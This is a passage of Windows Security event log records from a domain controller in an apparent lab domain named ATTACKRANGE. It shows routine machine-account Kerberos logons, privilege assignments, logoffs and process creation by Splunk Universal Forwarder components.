WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4A6487 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:07:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257084 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x4A6509 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {250C95BA-D7BE-68DE-E803-AA7B4845FE00} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 59354 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:07:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=257083 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4A6509 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 02:07:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257082 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x4A6487 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 59353 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:07:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=257081 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4A6487 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 02:07:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257080 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x4A643E - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 0 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:07:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=257079 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4A643E - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 02:07:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257078 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x4A6330 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 59352 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:07:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=257077 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4A6330 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 02:07:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257090 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x510 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:07:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257089 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x590 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:07:21 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257092 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x4A8A2F - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 59358 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:07:21 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=257091 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4A8A2F - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 02:07:23 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=257093 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4A6509 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:07:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=257096 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4A9B3D - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:07:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257095 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x4A9B3D - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 59367 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:07:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=257094 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x4A9B3D - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 02:08:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257098 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x127c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:08:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257097 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x4c8 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:08:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257099 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe48 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:08:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257100 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1374 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:08:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257101 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xee8 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:08:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257103 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xeb0 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:08:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257102 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x3e4 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User 